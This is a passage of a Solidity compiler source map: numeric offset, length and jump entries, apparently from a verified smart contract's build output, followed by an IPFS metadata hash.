:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;4943:251::-;5013:6;5066:2;5054:9;5045:7;5041:23;5037:32;5034:52;;;5082:1;5079;5072:12;5034:52;5114:9;5108:16;5133:31;5158:5;5133:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;9372:128;9439:9;;;9460:11;;;9457:37;;;9474:18;;:::i;9505:125::-;9570:9;;;9591:10;;;9588:36;;;9604:18;;:::i;11182:135::-;11221:3;11242:17;;;11239:43;;11262:18;;:::i;:::-;-1:-1:-1;11309:1:1;11298:13;;11182:135::o;11322:217::-;11362:1;11388;11378:132;;11432:10;11427:3;11423:20;11420:1;11413:31;11467:4;11464:1;11457:15;11495:4;11492:1;11485:15;11378:132;-1:-1:-1;11524:9:1;;11322:217::o;12078:127::-;12139:10;12134:3;12130:20;12127:1;12120:31;12170:4;12167:1;12160:15;12194:4;12191:1;12184:15;12210:980;12472:4;12520:3;12509:9;12505:19;12551:6;12540:9;12533:25;12577:2;12615:6;12610:2;12599:9;12595:18;12588:34;12658:3;12653:2;12642:9;12638:18;12631:31;12682:6;12717;12711:13;12748:6;12740;12733:22;12786:3;12775:9;12771:19;12764:26;;12825:2;12817:6;12813:15;12799:29;;12846:1;12856:195;12870:6;12867:1;12864:13;12856:195;;;12935:13;;-1:-1:-1;;;;;12931:39:1;12919:52;;13026:15;;;;12991:12;;;;12967:1;12885:9;12856:195;;;-1:-1:-1;;;;;;;13107:32:1;;;;13102:2;13087:18;;13080:60;-1:-1:-1;;;13171:3:1;13156:19;13149:35;13068:3;12210:980;-1:-1:-1;;;12210:980:1:o

ipfs://55bb20be4b8a82b9d6dc1cf93a263696707b844fed3ce05d9bfa07a2a987121e